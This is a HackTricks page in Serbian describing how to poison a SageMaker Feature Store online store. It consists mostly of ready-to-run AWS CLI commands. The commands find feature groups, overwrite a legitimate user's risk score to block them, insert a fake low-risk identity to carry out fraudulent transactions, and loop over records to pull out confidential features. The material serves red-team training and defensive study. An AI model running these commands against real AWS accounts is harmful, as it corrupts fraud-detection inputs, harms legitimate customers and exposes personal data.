SageMaker Feature Store online store poisoning

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Zloupotrebite sagemaker:PutRecord na Feature Group sa omogućеним OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa sagemaker:GetRecord, napadač može pročitati osetljive feature vrednosti. Ovo ne zahteva pristup modelima ili endpoints.

Zahtevi

  • Dozvole: sagemaker:ListFeatureGroups, sagemaker:DescribeFeatureGroup, sagemaker:PutRecord, sagemaker:GetRecord
  • Cilj: Feature Group sa omogućеним OnlineStore (obično podržava real-time inference)
  • Složenost: NISKO - Jednostavne AWS CLI komande, nije potrebna manipulacija modelima

Koraci

Izviđanje

  1. Navedite Feature Groups sa omogućеним OnlineStore
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
  1. Opišite ciljnu Feature Group da biste razumeli njenu šemu
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"

Obratite pažnju na RecordIdentifierFeatureName, EventTimeFeatureName i sve definicije feature-a. Oni su potrebni za kreiranje važećih zapisa.

Scenarij napada 1: Data Poisoning (prepisivanje postojećih zapisa)

  1. Pročitajte trenutni legitimni zapis
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
  1. Zatrovati zapis zlonamernim vrednostima koristeći inline --record parametar
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
  1. Proverite zatrovane podatke
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001

Uticaj: ML modeli koji koriste ovu karakteristiku će sada videti risk_score=0.99 za legitimnog korisnika, što može potencijalno blokirati njihove transakcije ili usluge.

Scenarij napada 2: Zlonamerni unos podataka (Kreiranje lažnih zapisa)

Ubacite potpuno nove zapise sa manipulisanim atributima kako biste zaobišli sigurnosne kontrole:

NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore

Proverite injection:

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999

Impact: Napadač kreira lažni identitet sa niskim skorom rizika (0.01) koji može da izvrši visokovredne prevarantske transakcije bez pokretanja sistema za otkrivanje prevara.

Attack Scenario 3: Eksfiltracija osetljivih podataka

Pročitati više zapisa kako bi se izvukle poverljive karakteristike i profilisalo ponašanje modela:

# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done

Uticaj: Poverljive karakteristike (ocene rizika, obrasci transakcija, lični podaci) izložene napadaču.

Kreiranje test/demo Feature Group (opciono)

Ako treba da kreirate test Feature Group:

REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)

aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"

echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi

echo "Feature Group ready: $FG"

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks